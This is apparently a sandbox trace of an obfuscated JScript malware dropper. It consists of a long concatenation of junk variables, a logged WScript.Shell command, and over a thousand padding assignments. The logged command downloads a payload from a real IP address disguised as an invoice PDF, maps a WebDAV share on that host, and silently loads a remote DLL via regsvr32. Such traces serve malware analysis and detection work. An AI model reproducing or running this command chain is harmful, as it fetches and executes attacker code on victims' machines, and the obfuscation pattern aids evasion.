+ ygbqy + vylmefu + aohkoyz + ihkwsud + glkuwyzyj + pmoexsgif + cjqofrn + aohkoyz + ubhmo + haxsediuh + vylmefu + qvbiod + pmoexsgif + vylmefu + kmant + kmant + aopcurvkx + todzu + ubhmo + rvxwvwdss + aopcurvkx + orvodt + ubhmo + rvxwvwdss + aopcurvkx + rvxwvwdss + haxsediuh + kukspifn + butmpxc + mohahrcj + cafeyxqb + cafeyxqb + cafeyxqb + cafeyxqb + kmant + djsee + caavjsoe + cjqofrn + uuhcueget + uuhcueget + uuhcueget + aohkoyz + swaqsrwb + swaqsrwb + pjpol + kmant + haxsediuh + aopcurvkx + ejoetg + cafeyxqb + aopcurvkx + ytzmba + aopcurvkx + haxsediuh + aopcurvkx + haxsediuh + ejoetg + cafeyxqb + cafeyxqb + orvodt + rvxwvwdss + djsee + oaebwuz + oaebwuz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll",0,false) ➔ 0
14	}
15	aicuxjfn = "o";
16	aicuxjfn = "H";
17	aicuxjfn = "U";
18	aicuxjfn = "S";
19	aicuxjfn = "o";
20	aicuxjfn = "f";
21	aicuxjfn = "H";
22	aicuxjfn = "V";
23	aicuxjfn = "K";
24	aicuxjfn = "w";
25	aicuxjfn = "O";
26	aicuxjfn = "d";
27	aicuxjfn = "d";
28	aicuxjfn = "K";
29	aicuxjfn = "e";
30	aicuxjfn = "h";
31	aicuxjfn = "j";
32	aicuxjfn = "s";
33	aicuxjfn = "S";
34	aicuxjfn = "Z";
35	aicuxjfn = "t";
36	aicuxjfn = "H";
37	aicuxjfn = "w";
38	aicuxjfn = "m";
39	aicuxjfn = "d";
40	aicuxjfn = "w";
41	aicuxjfn = "H";
42	aicuxjfn = "e";
43	aicuxjfn = "l";
44	aicuxjfn = "d";
45	aicuxjfn = "O";
46	aicuxjfn = "F";
47	aicuxjfn = "V";
48	aicuxjfn = "c";
49	aicuxjfn = "g";
50	aicuxjfn = "H";
51	aicuxjfn = "D";
52	aicuxjfn = "f";
53	aicuxjfn = "j";
54	kkunqtnn = "P";
55	kkunqtnn = "J";
56	kkunqtnn = "n";
57	kkunqtnn = "S";
58	kkunqtnn = "E";
59	kkunqtnn = "X";
60	kkunqtnn = "p";
61	kkunqtnn = "t";
62	kkunqtnn = "p";
63	kkunqtnn = "j";
64	kkunqtnn = "F";
65	kkunqtnn = "Y";
66	kkunqtnn = "Z";
67	kkunqtnn = "o";
68	kkunqtnn = "w";
69	kkunqtnn = "G";
70	kkunqtnn = "j";
71	kkunqtnn = "g";
72	kkunqtnn = "I";
73	kkunqtnn = "N";
74	kkunqtnn = "y";
75	kkunqtnn = "I";
76	kkunqtnn = "B";
77	kkunqtnn = "Q";
78	kkunqtnn = "m";
79	vylmefu = "Z";
80	vylmefu = "C";
81	vylmefu = "b";
82	vylmefu = "C";
83	vylmefu = "p";
84	vylmefu = "y";
85	vylmefu = "W";
86	vylmefu = "b";
87	vylmefu = "s";
88	vylmefu = "N";
89	vylmefu = "X";
90	vylmefu = "S";
91	vylmefu = "z";
92	vylmefu = "y";
93	vylmefu = "u";
94	vylmefu = "J";
95	vylmefu = "o";
96	vylmefu = "Z";
97	vylmefu = "Q";
98	vylmefu = "k";
99	vylmefu = "q";
100	vylmefu = "Q";
101	vylmefu = "c";
102	vylmefu = "r";
103	vylmefu = "J";
104	vylmefu = "x";
105	vylmefu = "H";
106	vylmefu = "e";
107	vylmefu = "E";
108	vylmefu = "m";
109	vylmefu = "F";
110	vylmefu = "j";
111	vylmefu = "M";
112	vylmefu = " ";
113	mohahrcj = "T";
114	mohahrcj = "T";
115	mohahrcj = "g";
116	mohahrcj = "k";
117	mohahrcj = "K";
118	mohahrcj = "r";
119	mohahrcj = "y";
120	mohahrcj = "f";
121	mohahrcj = "J";
122	mohahrcj = "q";
123	mohahrcj = "U";
124	mohahrcj = "E";
125	mohahrcj = "B";
126	mohahrcj = "t";
127	mohahrcj = "l";
128	mohahrcj = "f";
129	mohahrcj = "K";
130	mohahrcj = "p";
131	mohahrcj = "g";
132	mohahrcj = "D";
133	mohahrcj = "Q";
134	mohahrcj = "@";
135	vyebvfyb = "Q";
136	vyebvfyb = "U";
137	vyebvfyb = "q";
138	vyebvfyb = "y";
139	vyebvfyb = "f";
140	vyebvfyb = "G";
141	vyebvfyb = "F";
142	vyebvfyb = "r";
143	vyebvfyb = "q";
144	vyebvfyb = "F";
145	vyebvfyb = "g";
146	vyebvfyb = "a";
147	vyebvfyb = "m";
148	vyebvfyb = "Q";
149	vyebvfyb = "D";
150	vyebvfyb = "t";
151	vyebvfyb = "h";
152	vyebvfyb = "t";
153	vyebvfyb = "p";
154	vyebvfyb = "D";
155	vyebvfyb = "O";
156	vyebvfyb = "N";
157	vyebvfyb = "U";
158	vyebvfyb = "I";
159	vyebvfyb = "B";
160	vyebvfyb = "J";
161	vyebvfyb = "y";
162	vyebvfyb = "G";
163	vyebvfyb = "U";
164	vyebvfyb = "l";
165	vyebvfyb = "j";
166	vyebvfyb = "F";
167	vyebvfyb = "y";
168	vyebvfyb = "u";
169	vyebvfyb = "E";
170	vyebvfyb = "H";
171	hsnqteqsd = "m";
172	hsnqteqsd = "z";
173	hsnqteqsd = "L";
174	hsnqteqsd = "O";
175	hsnqteqsd = "a";
176	hsnqteqsd = "a";
177	hsnqteqsd = "v";
178	hsnqteqsd = "A";
179	hsnqteqsd = "J";
180	hsnqteqsd = "-";
181	veesziw = "M";
182	veesziw = "s";
183	veesziw = "F";
184	veesziw = "i";
185	veesziw = "E";
186	veesziw = "x";
187	veesziw = "K";
188	veesziw = "g";
189	veesziw = "R";
190	veesziw = "e";
191	veesziw = "O";
192	aohkoyz = "l";
193	aohkoyz = "b";
194	aohkoyz = "l";
195	aohkoyz = "U";
196	aohkoyz = "h";
197	aohkoyz = "f";
198	aohkoyz = "d";
199	aohkoyz = "z";
200	aohkoyz = "D";
201	aohkoyz = "I";
202	aohkoyz = "v";
203	aohkoyz = "v";
204	aohkoyz = "v";
205	aohkoyz = "t";
206	aohkoyz = "I";
207	aohkoyz = "k";
208	aohkoyz = "c";
209	aohkoyz = "u";
210	aohkoyz = "j";
211	aohkoyz = "J";
212	aohkoyz = "i";
213	aohkoyz = "Z";
214	aohkoyz = "N";
215	aohkoyz = "v";
216	aohkoyz = "M";
217	aohkoyz = "q";
218	aohkoyz = "p";
219	aohkoyz = "b";
220	aohkoyz = "s";
221	aohkoyz = "M";
222	aohkoyz = "p";
223	aohkoyz = "b";
224	aohkoyz = "T";
225	aohkoyz = "c";
226	aohkoyz = "P";
227	aohkoyz = "u";
228	aohkoyz = "H";
229	aohkoyz = "M";
230	aohkoyz = "D";
231	aohkoyz = "l";
232	aohkoyz = "U";
233	aohkoyz = "i";
234	aohkoyz = "c";
235	aohkoyz = "r";
236	kukspifn = "M";
237	kukspifn = "B";
238	kukspifn = "a";
239	kukspifn = "T";
240	kukspifn = "b";
241	kukspifn = "b";
242	kukspifn = "e";
243	kukspifn = "W";
244	kukspifn = "0";
245	bsnqnuiaf = "F";
246	bsnqnuiaf = "j";
247	bsnqnuiaf = "c";
248	bsnqnuiaf = "N";
249	bsnqnuiaf = "V";
250	bsnqnuiaf = "P";
251	bsnqnuiaf = "y";
252	bsnqnuiaf = "o";
253	bsnqnuiaf = "b";
254	bsnqnuiaf = "m";
255	bsnqnuiaf = "d";
256	bsnqnuiaf = "U";
257	kmant = "f";
258	kmant = "v";
259	kmant = "F";
260	kmant = "q";
261	kmant = "p";
262	kmant = "X";
263	kmant = "s";
264	kmant = "F";
265	kmant = "Q";
266	kmant = "G";
267	kmant = "c";
268	kmant = "q";
269	kmant = "\\";
270	kxwwhhyxu = "J";
271	kxwwhhyxu = "K";
272	kxwwhhyxu = "d";
273	kxwwhhyxu = "N";
274	kxwwhhyxu = "o";
275	kxwwhhyxu = "S";
276	kxwwhhyxu = "v";
277	kxwwhhyxu = "r";
278	kxwwhhyxu = "x";
279	kxwwhhyxu = "B";
280	kxwwhhyxu = "K";
281	kxwwhhyxu = "p";
282	kxwwhhyxu = "l";
283	kxwwhhyxu = "K";
284	kxwwhhyxu = "C";
285	kxwwhhyxu = "s";
286	kxwwhhyxu = "u";
287	kxwwhhyxu = "X";
288	kxwwhhyxu = "E";
289	kxwwhhyxu = "e";
290	kxwwhhyxu = "E";
291	kxwwhhyxu = "U";
292	kxwwhhyxu = "x";
293	kxwwhhyxu = "e";
294	kxwwhhyxu = "e";
295	kxwwhhyxu = "W";
296	kxwwhhyxu = "G";
297	kxwwhhyxu = "O";
298	kxwwhhyxu = "a";
299	kxwwhhyxu = "e";
300	kxwwhhyxu = "M";
301	kxwwhhyxu = "n";
302	kxwwhhyxu = "c";
303	kxwwhhyxu = "S";
304	kxwwhhyxu = "\"";
305	oaebwuz = "g";
306	oaebwuz = "u";
307	oaebwuz = "C";
308	oaebwuz = "y";
309	oaebwuz = "N";
310	oaebwuz = "l";
311	cjqofrn = "a";
312	cjqofrn = "v";
313	pjpol = "v";
314	pjpol = "U";
315	pjpol = "b";
316	pjpol = "l";
317	pjpol = "y";
318	pjpol = "O";
319	pjpol = "m";
320	pjpol = "A";
321	pjpol = "E";
322	pjpol = "k";
323	pjpol = "M";
324	pjpol = "m";
325	pjpol = "A";
326	pjpol = "i";
327	pjpol = "P";
328	pjpol = "b";
329	pjpol = "I";
330	pjpol = "V";
331	pjpol = "l";
332	pjpol = "n";
333	pjpol = "Q";
334	pjpol = "b";
335	pjpol = "k";
336	pjpol = "F";
337	pjpol = "Q";
338	pjpol = "D";
339	pjpol = "G";
340	pjpol = "x";
341	pjpol = "s";
342	pjpol = "b";
343	pjpol = "l";
344	pjpol = "n";
345	pjpol = "t";
346	ygbqy = "u";
347	ygbqy = "w";
348	ygbqy = "N";
349	ygbqy = "h";
350	ygbqy = "K";
351	ygbqy = "b";
352	ygbqy = "e";
353	ygbqy = "J";
354	ygbqy = "G";
355	ygbqy = "o";
356	ygbqy = "J";
357	ygbqy = "v";
358	ygbqy = "G";
359	ygbqy = "p";
360	ygbqy = "X";
361	ygbqy = "E";
362	ygbqy = "L";
363	ygbqy = "P";
364	ygbqy = "O";
365	ygbqy = "K";
366	ygbqy = "c";
367	qvbiod = "B";
368	qvbiod = "q";
369	qvbiod = "I";
370	qvbiod = "M";
371	qvbiod = "H";
372	qvbiod = "F";
373	qvbiod = "u";
374	qvbiod = "G";
375	qvbiod = "d";
376	qvbiod = "i";
377	qvbiod = "/";
378	orvodt = "X";
379	orvodt = "J";
380	orvodt = "v";
381	orvodt = "I";
382	orvodt = "r";
383	orvodt = "O";
384	orvodt = "H";
385	orvodt = "F";
386	orvodt = "Z";
387	orvodt = "r";
388	orvodt = "F";
389	orvodt = "Q";
390	orvodt = "r";
391	orvodt = "c";
392	orvodt = "r";
393	orvodt = "M";
394	orvodt = "u";
395	orvodt = "u";
396	orvodt = "i";
397	orvodt = "p";
398	orvodt = "V";
399	orvodt = "w";
400	orvodt = "T";
401	orvodt = "U";
402	orvodt = "a";
403	orvodt = "i";
404	orvodt = "B";
405	orvodt = "q";
406	orvodt = "m";
407	orvodt = "k";
408	orvodt = "z";
409	orvodt = "u";
410	orvodt = "4";
411	pftqs = "H";
412	pftqs = "U";
413	pftqs = "I";
414	pftqs = "X";
415	pftqs = "N";
416	pftqs = "O";
417	pftqs = "q";
418	pftqs = "N";
419	pftqs = "e";
420	pftqs = "a";
421	pftqs = "%";
422	zndvzkotf = "f";
423	zndvzkotf = "j";
424	zndvzkotf = "E";
425	zndvzkotf = "d";
426	zndvzkotf = "f";
427	zndvzkotf = "X";
428	zndvzkotf = "s";
429	zndvzkotf = "j";
430	zndvzkotf = "C";
431	zndvzkotf = "r";
432	zndvzkotf = "y";
433	zndvzkotf = "C";
434	zndvzkotf = "W";
435	zndvzkotf = "A";
436	zndvzkotf = "d";
437	zndvzkotf = "U";
438	zndvzkotf = "u";
439	glkuwyzyj = "H";
440	glkuwyzyj = "G";
441	glkuwyzyj = "e";
442	glkuwyzyj = "x";
443	glkuwyzyj = "Q";
444	glkuwyzyj = "Q";
445	glkuwyzyj = "B";
446	glkuwyzyj = "l";
447	glkuwyzyj = "u";
448	glkuwyzyj = "j";
449	glkuwyzyj = "s";
450	glkuwyzyj = "Z";
451	glkuwyzyj = "B";
452	glkuwyzyj = "p";
453	glkuwyzyj = "d";
454	glkuwyzyj = "B";
455	glkuwyzyj = "b";
456	glkuwyzyj = "q";
457	glkuwyzyj = "M";
458	glkuwyzyj = "m";
459	glkuwyzyj = "H";
460	glkuwyzyj = "a";
461	glkuwyzyj = "C";
462	glkuwyzyj = "g";
463	vruzo = "Z";
464	vruzo = "k";
465	vruzo = "J";
466	vruzo = "U";
467	vruzo = "O";
468	vruzo = "x";
469	vruzo = "Z";
470	vruzo = "k";
471	vruzo = "H";
472	vruzo = "p";
473	vruzo = "x";
474	vruzo = "V";
475	vruzo = "d";
476	vruzo = "E";
477	vruzo = "y";
478	vruzo = "o";
479	vruzo = "P";
480	ejoetg = "j";
481	ejoetg = "u";
482	ejoetg = "b";
483	ejoetg = "K";
484	ejoetg = "J";
485	ejoetg = "Y";
486	ejoetg = "k";
487	ejoetg = "s";
488	ejoetg = "K";
489	ejoetg = "I";
490	ejoetg = "o";
491	ejoetg = "i";
492	ejoetg = "U";
493	ejoetg = "z";
494	ejoetg = "M";
495	ejoetg = "a";
496	ejoetg = "Q";
497	ejoetg = "Z";
498	ejoetg = "m";
499	ejoetg = "c";
500	ejoetg = "6";
501	pqavcdo = "Z";
502	pqavcdo = "E";
503	pqavcdo = "a";
504	pqavcdo = "l";
505	pqavcdo = "b";
506	pqavcdo = "n";
507	pqavcdo = "J";
508	pqavcdo = "H";
509	pqavcdo = "P";
510	pqavcdo = "v";
511	pqavcdo = "D";
512	pqavcdo = "o";
513	pqavcdo = "r";
514	pqavcdo = "d";
515	pqavcdo = "z";
516	pqavcdo = "x";
517	pqavcdo = "q";
518	pqavcdo = "F";
519	pqavcdo = "g";
520	pqavcdo = "F";
521	pqavcdo = "E";
522	pqavcdo = "D";
523	pqavcdo = "j";
524	pqavcdo = "U";
525	pqavcdo = "v";
526	pqavcdo = "l";
527	pqavcdo = "V";
528	pqavcdo = "g";
529	pqavcdo = "D";
530	pqavcdo = "P";
531	pqavcdo = "g";
532	pqavcdo = "k";
533	pqavcdo = "u";
534	pqavcdo = "K";
535	pqavcdo = "N";
536	cafeyxqb = "q";
537	cafeyxqb = "Q";
538	cafeyxqb = "w";
539	cafeyxqb = "q";
540	cafeyxqb = "v";
541	cafeyxqb = "q";
542	cafeyxqb = "K";
543	cafeyxqb = "8";
544	sapwdea = "w";
545	sapwdea = "M";
546	sapwdea = "X";
547	sapwdea = "I";
548	sapwdea = "f";
549	sapwdea = "o";
550	sapwdea = "b";
551	sapwdea = "m";
552	sapwdea = "z";
553	sapwdea = "B";
554	sapwdea = "s";
555	sapwdea = "g";
556	sapwdea = "o";
557	sapwdea = "o";
558	sapwdea = "A";
559	sapwdea = "I";
560	sapwdea = "Y";
561	sapwdea = "B";
562	sapwdea = "u";
563	sapwdea = "k";
564	sapwdea = "D";
565	sapwdea = "G";
566	sapwdea = "i";
567	pmoexsgif = "Z";
568	pmoexsgif = "X";
569	pmoexsgif = "h";
570	pmoexsgif = "i";
571	pmoexsgif = "M";
572	pmoexsgif = "C";
573	pmoexsgif = "H";
574	pmoexsgif = "N";
575	pmoexsgif = "P";
576	pmoexsgif = "v";
577	pmoexsgif = "s";
578	pmoexsgif = "f";
579	pmoexsgif = "b";
580	pmoexsgif = "u";
581	pmoexsgif = "t";
582	pmoexsgif = "e";
583	pmoexsgif = "k";
584	pmoexsgif = "d";
585	pmoexsgif = "D";
586	pmoexsgif = "D";
587	pmoexsgif = "V";
588	pmoexsgif = "I";
589	pmoexsgif = "R";
590	pmoexsgif = "v";
591	pmoexsgif = "w";
592	pmoexsgif = "j";
593	pmoexsgif = "s";
594	rvxwvwdss = "c";
595	rvxwvwdss = "S";
596	rvxwvwdss = "U";
597	rvxwvwdss = "r";
598	rvxwvwdss = "F";
599	rvxwvwdss = "O";
600	rvxwvwdss = "e";
601	rvxwvwdss = "e";
602	rvxwvwdss = "u";
603	rvxwvwdss = "k";
604	rvxwvwdss = "M";
605	rvxwvwdss = "m";
606	rvxwvwdss = "s";
607	rvxwvwdss = "V";
608	rvxwvwdss = "L";
609	rvxwvwdss = "y";
610	rvxwvwdss = "d";
611	rvxwvwdss = "O";
612	rvxwvwdss = "r";
613	rvxwvwdss = "J";
614	rvxwvwdss = "L";
615	rvxwvwdss = "I";
616	rvxwvwdss = "M";
617	rvxwvwdss = "U";
618	rvxwvwdss = "T";
619	rvxwvwdss = "f";
620	rvxwvwdss = "m";
621	rvxwvwdss = "s";
622	rvxwvwdss = "o";
623	rvxwvwdss = "h";
624	rvxwvwdss = "H";
625	rvxwvwdss = "Z";
626	rvxwvwdss = "P";
627	rvxwvwdss = "c";
628	rvxwvwdss = "z";
629	rvxwvwdss = "U";
630	rvxwvwdss = "W";
631	rvxwvwdss = "H";
632	rvxwvwdss = "U";
633	rvxwvwdss = "V";
634	rvxwvwdss = "V";
635	rvxwvwdss = "t";
636	rvxwvwdss = "B";
637	rvxwvwdss = ".";
638	stoeugdy = "R";
639	stoeugdy = "n";
640	stoeugdy = "O";
641	stoeugdy = "R";
642	stoeugdy = "U";
643	stoeugdy = "S";
644	stoeugdy = "W";
645	stoeugdy = "C";
646	stoeugdy = "z";
647	stoeugdy = "x";
648	stoeugdy = "P";
649	stoeugdy = "b";
650	jsnvcu = "u";
651	jsnvcu = "F";
652	jsnvcu = "B";
653	jsnvcu = "r";
654	jsnvcu = "G";
655	jsnvcu = "e";
656	jsnvcu = "j";
657	jsnvcu = "T";
658	jsnvcu = "Y";
659	jsnvcu = "U";
660	jsnvcu = "H";
661	jsnvcu = "t";
662	jsnvcu = "b";
663	jsnvcu = "G";
664	jsnvcu = "L";
665	todzu = "w";
666	todzu = "G";
667	todzu = "H";
668	todzu = "Q";
669	todzu = "l";
670	todzu = "9";
671	uihmnvyd = "J";
672	uihmnvyd = "Q";
673	uihmnvyd = "f";
674	uihmnvyd = "P";
675	uihmnvyd = "a";
676	uihmnvyd = "P";
677	uihmnvyd = "k";
678	uihmnvyd = "L";
679	uihmnvyd = "e";
680	uihmnvyd = "v";
681	uihmnvyd = "p";
682	uihmnvyd = "u";
683	uihmnvyd = "a";
684	uihmnvyd = "R";
685	aopcurvkx = "d";
686	aopcurvkx = "X";
687	aopcurvkx = "i";
688	aopcurvkx = "P";
689	aopcurvkx = "H";
690	aopcurvkx = "k";
691	aopcurvkx = "i";
692	aopcurvkx = "J";
693	aopcurvkx = "c";
694	aopcurvkx = "b";
695	aopcurvkx = "p";
696	aopcurvkx = "o";
697	aopcurvkx = "A";
698	aopcurvkx = "M";
699	aopcurvkx = "F";
700	aopcurvkx = "J";
701	aopcurvkx = "Y";
702	aopcurvkx = "O";
703	aopcurvkx = "z";
704	aopcurvkx = "r";
705	aopcurvkx = "V";
706	aopcurvkx = "p";
707	aopcurvkx = "c";
708	aopcurvkx = "t";
709	aopcurvkx = "W";
710	aopcurvkx = "r";
711	aopcurvkx = "D";
712	aopcurvkx = "O";
713	aopcurvkx = "b";
714	aopcurvkx = "Q";
715	aopcurvkx = "J";
716	aopcurvkx = "H";
717	aopcurvkx = "n";
718	aopcurvkx = "w";
719	aopcurvkx = "e";
720	aopcurvkx = "s";
721	aopcurvkx = "l";
722	aopcurvkx = "y";
723	aopcurvkx = "F";
724	aopcurvkx = "y";
725	aopcurvkx = "j";
726	aopcurvkx = "J";
727	aopcurvkx = "1";
728	gwffjyiuu = "W";
729	gwffjyiuu = "a";
730	gwffjyiuu = "b";
731	gwffjyiuu = "F";
732	gwffjyiuu = "i";
733	gwffjyiuu = "e";
734	gwffjyiuu = "N";
735	gwffjyiuu = "j";
736	gwffjyiuu = "Q";
737	gwffjyiuu = "h";
738	gwffjyiuu = "e";
739	gwffjyiuu = "n";
740	gwffjyiuu = "G";
741	gwffjyiuu = "S";
742	gwffjyiuu = "P";
743	gwffjyiuu = "f";
744	gwffjyiuu = "R";
745	gwffjyiuu = "c";
746	gwffjyiuu = "g";
747	gwffjyiuu = "m";
748	gwffjyiuu = "H";
749	gwffjyiuu = "k";
750	gwffjyiuu = "W";
751	gwffjyiuu = "A";
752	gwffjyiuu = "B";
753	gwffjyiuu = "S";
754	gwffjyiuu = "d";
755	gwffjyiuu = "T";
756	gwffjyiuu = "i";
757	gwffjyiuu = "o";
758	gwffjyiuu = "H";
759	gwffjyiuu = "K";
760	gwffjyiuu = "W";
761	gwffjyiuu = "y";
762	gwffjyiuu = "k";
763	gwffjyiuu = "A";
764	gwffjyiuu = "O";
765	gwffjyiuu = "k";
766	gwffjyiuu = "V";
767	gwffjyiuu = "Z";
768	gwffjyiuu = "Y";
769	cdbfv = "T";
770	cdbfv = "A";
771	cdbfv = "y";
772	cdbfv = "y";
773	cdbfv = "W";
774	cdbfv = "E";
775	cdbfv = "r";
776	cdbfv = "W";
777	cdbfv = "Y";
778	cdbfv = ":";
779	zoamr = "q";
780	zoamr = "T";
781	zoamr = "X";
782	zoamr = "q";
783	zoamr = "V";
784	zoamr = "J";
785	zoamr = "K";
786	zoamr = "P";
787	zoamr = "p";
788	zoamr = "L";
789	zoamr = "T";
790	zoamr = "V";
791	zoamr = "R";
792	zoamr = "F";
793	zoamr = "e";
794	zoamr = "g";
795	zoamr = "I";
796	ngkhi = "A";
797	ngkhi = "U";
798	ngkhi = "j";
799	ngkhi = "F";
800	ngkhi = "O";
801	ngkhi = "y";
802	ngkhi = "k";
803	ngkhi = "g";
804	ngkhi = "d";
805	ngkhi = "e";
806	ngkhi = "e";
807	ngkhi = "Z";
808	ngkhi = "M";
809	ngkhi = "P";
810	ngkhi = "v";
811	ngkhi = "e";
812	ngkhi = "M";
813	ngkhi = "M";
814	ngkhi = "D";
815	ngkhi = "N";
816	ngkhi = "m";
817	ngkhi = "i";
818	ngkhi = "n";
819	ihkwsud = "y";
820	ihkwsud = "t";
821	ihkwsud = "K";
822	ihkwsud = "m";
823	ihkwsud = "n";
824	ihkwsud = "I";
825	ihkwsud = "C";
826	ihkwsud = "e";
827	rzasx = "t";
828	rzasx = "w";
829	rzasx = "b";
830	rzasx = "i";
831	rzasx = "k";
832	rzasx = "H";
833	rzasx = "M";
834	rzasx = "Q";
835	rzasx = "X";
836	rzasx = "h";
837	rzasx = "Y";
838	rzasx = "I";
839	rzasx = "z";
840	rzasx = "s";
841	rzasx = "P";
842	rzasx = "p";
843	rzasx = "n";
844	rzasx = "Q";
845	rzasx = "a";
846	rzasx = "Y";
847	rzasx = "U";
848	rzasx = "k";
849	rzasx = "N";
850	rzasx = "M";
851	rzasx = "w";
852	rzasx = "d";
853	rzasx = "o";
854	rzasx = "i";
855	rzasx = "O";
856	rzasx = "t";
857	rzasx = "B";
858	rzasx = "V";
859	rzasx = "L";
860	rzasx = "m";
861	rzasx = "E";
862	qwgramr = "z";
863	qwgramr = "F";
864	qwgramr = "A";
865	qwgramr = "f";
866	qwgramr = "q";
867	qwgramr = "F";
868	qwgramr = "z";
869	qwgramr = "F";
870	qwgramr = "N";
871	qwgramr = "j";
872	qwgramr = "R";
873	qwgramr = "r";
874	qwgramr = "i";
875	qwgramr = "o";
876	qwgramr = "C";
877	qwgramr = "g";
878	qwgramr = "i";
879	qwgramr = "A";
880	qwgramr = "w";
881	qwgramr = "n";
882	qwgramr = "F";
883	qwgramr = "E";
884	qwgramr = "h";
885	qwgramr = "H";
886	qwgramr = "C";
887	qwgramr = "d";
888	qwgramr = "x";
889	hywpcdgu = "g";
890	hywpcdgu = "E";
891	hywpcdgu = "T";
892	hywpcdgu = "n";
893	hywpcdgu = "D";
894	hywpcdgu = "g";
895	hywpcdgu = "P";
896	hywpcdgu = "c";
897	hywpcdgu = "p";
898	hywpcdgu = "Y";
899	hywpcdgu = "B";
900	hywpcdgu = "V";
901	hywpcdgu = "R";
902	hywpcdgu = "y";
903	hywpcdgu = "o";
904	hywpcdgu = "r";
905	hywpcdgu = "m";
906	hywpcdgu = "v";
907	hywpcdgu = "a";
908	hywpcdgu = "T";
909	hywpcdgu = "A";
910	hywpcdgu = "A";
911	hywpcdgu = "S";
912	hywpcdgu = "b";
913	hywpcdgu = "U";
914	hywpcdgu = "b";
915	hywpcdgu = "R";
916	hywpcdgu = "I";
917	hywpcdgu = "N";
918	hywpcdgu = "y";
919	hywpcdgu = "F";
920	ubhmo = "d";
921	ubhmo = "3";
922	caavjsoe = "K";
923	caavjsoe = "W";
924	caavjsoe = "O";
925	caavjsoe = "F";
926	caavjsoe = "N";
927	caavjsoe = "L";
928	caavjsoe = "e";
929	caavjsoe = "q";
930	caavjsoe = "b";
931	caavjsoe = "y";
932	caavjsoe = "O";
933	caavjsoe = "W";
934	caavjsoe = "U";
935	caavjsoe = "k";
936	caavjsoe = "q";
937	caavjsoe = "Z";
938	caavjsoe = "l";
939	caavjsoe = "e";
940	caavjsoe = "f";
941	caavjsoe = "g";
942	caavjsoe = "w";
943	caavjsoe = "H";
944	caavjsoe = "h";
945	caavjsoe = "k";
946	caavjsoe = "C";
947	caavjsoe = "G";
948	caavjsoe = "B";
949	caavjsoe = "X";
950	caavjsoe = "r";
951	caavjsoe = "l";
952	caavjsoe = "r";
953	caavjsoe = "T";
954	caavjsoe = "m";
955	caavjsoe = "U";
956	caavjsoe = "e";
957	caavjsoe = "B";
958	caavjsoe = "T";
959	caavjsoe = "W";
960	caavjsoe = "W";
961	caavjsoe = "p";
962	caavjsoe = "L";
963	caavjsoe = "U";
964	caavjsoe = "t";
965	caavjsoe = "H";
966	caavjsoe = "a";
967	djsee = "S";
968	djsee = "l";
969	djsee = "O";
970	djsee = "M";
971	djsee = "n";
972	djsee = "r";
973	djsee = "Q";
974	djsee = "J";
975	djsee = "L";
976	djsee = "W";
977	djsee = "m";
978	djsee = "d";
979	hqcbp = "N";
980	hqcbp = "e";
981	hqcbp = "C";
982	hqcbp = "C";
983	hqcbp = "j";
984	hqcbp = "N";
985	hqcbp = "R";
986	hqcbp = "v";
987	hqcbp = "Z";
988	hqcbp = "K";
989	hqcbp = "S";
990	hqcbp = "d";
991	hqcbp = "a";
992	hqcbp = "R";
993	hqcbp = "y";
994	hqcbp = "A";
995	hqcbp = "G";
996	hqcbp = "K";
997	hqcbp = "C";
998	hqcbp = "j";
999	hqcbp = "h";
1000	hqcbp = "J";
1001	hqcbp = "m";
1002	hqcbp = "i";
1003	hqcbp = "M";
1004	hqcbp = "H";
1005	hqcbp = "j";
1006	hqcbp = "H";
1007	hqcbp = "t";
1008	hqcbp = "U";
1009	hqcbp = "p";
1010	hqcbp = "E";
1011	hqcbp = "M";
1012	hqcbp = "L";
1013	hqcbp = "T";
1014	hqcbp = "y";
1015	hqcbp = "w";
1016	hqcbp = "w";
1017	hqcbp = "H";
1018	hqcbp = "c";
1019	hqcbp = "t";
1020	hqcbp = "G";
1021	hqcbp = "d";
1022	hqcbp = "S";
1023	hqcbp = "K";
1024	pdmtahx = "f";
1025	pdmtahx = "A";
1026	pdmtahx = "Y";
1027	pdmtahx = "C";
1028	pdmtahx = "p";
1029	effeahndg = "j";
1030	effeahndg = "i";
1031	effeahndg = "N";
1032	effeahndg = "U";
1033	effeahndg = "r";
1034	effeahndg = "h";
1035	mhlbhm = "L";
1036	mhlbhm = "q";
1037	mhlbhm = "q";
1038	cjltvkgk = "d";
1039	cjltvkgk = "L";
1040	cjltvkgk = "Z";
1041	cjltvkgk = "Q";
1042	cjltvkgk = "S";
1043	cjltvkgk = "j";
1044	cjltvkgk = "o";
1045	cjltvkgk = "B";
1046	cjltvkgk = "O";
1047	cjltvkgk = "q";
1048	cjltvkgk = "g";
1049	cjltvkgk = "F";
1050	cjltvkgk = "u";
1051	cjltvkgk = "c";
1052	cjltvkgk = "k";
1053	cjltvkgk = "Y";
1054	cjltvkgk = "c";
1055	cjltvkgk = "Z";
1056	cjltvkgk = "O";
1057	cjltvkgk = "S";
1058	cjltvkgk = "B";
1059	cjltvkgk = "v";
1060	cjltvkgk = "S";
1061	cjltvkgk = "I";
1062	cjltvkgk = "f";
1063	cjltvkgk = "g";
1064	cjltvkgk = "W";
1065	cjltvkgk = "Q";
1066	cjltvkgk = "g";
1067	cjltvkgk = "W";
1068	cjltvkgk = "N";
1069	cjltvkgk = "U";
1070	cjltvkgk = "B";
1071	cjltvkgk = "N";
1072	cjltvkgk = "D";
1073	cjltvkgk = "C";
1074	haxsediuh = "R";
1075	haxsediuh = "y";
1076	haxsediuh = "T";
1077	haxsediuh = "v";
1078	haxsediuh = "C";
1079	haxsediuh = "b";
1080	haxsediuh = "M";
1081	haxsediuh = "S";
1082	haxsediuh = "D";
1083	haxsediuh = "w";
1084	haxsediuh = "V";
1085	haxsediuh = "p";
1086	haxsediuh = "O";
1087	haxsediuh = "T";
1088	haxsediuh = "J";
1089	haxsediuh = "L";
1090	haxsediuh = "M";
1091	haxsediuh = "J";
1092	haxsediuh = "r";
1093	haxsediuh = "W";
1094	haxsediuh = "f";
1095	haxsediuh = "p";
1096	haxsediuh = "T";
1097	haxsediuh = "r";
1098	haxsediuh = "a";
1099	haxsediuh = "K";
1100	haxsediuh = "b";
1101	haxsediuh = "v";
1102	haxsediuh = "r";
1103	haxsediuh = "I";
1104	haxsediuh = "v";
1105	haxsediuh = "S";
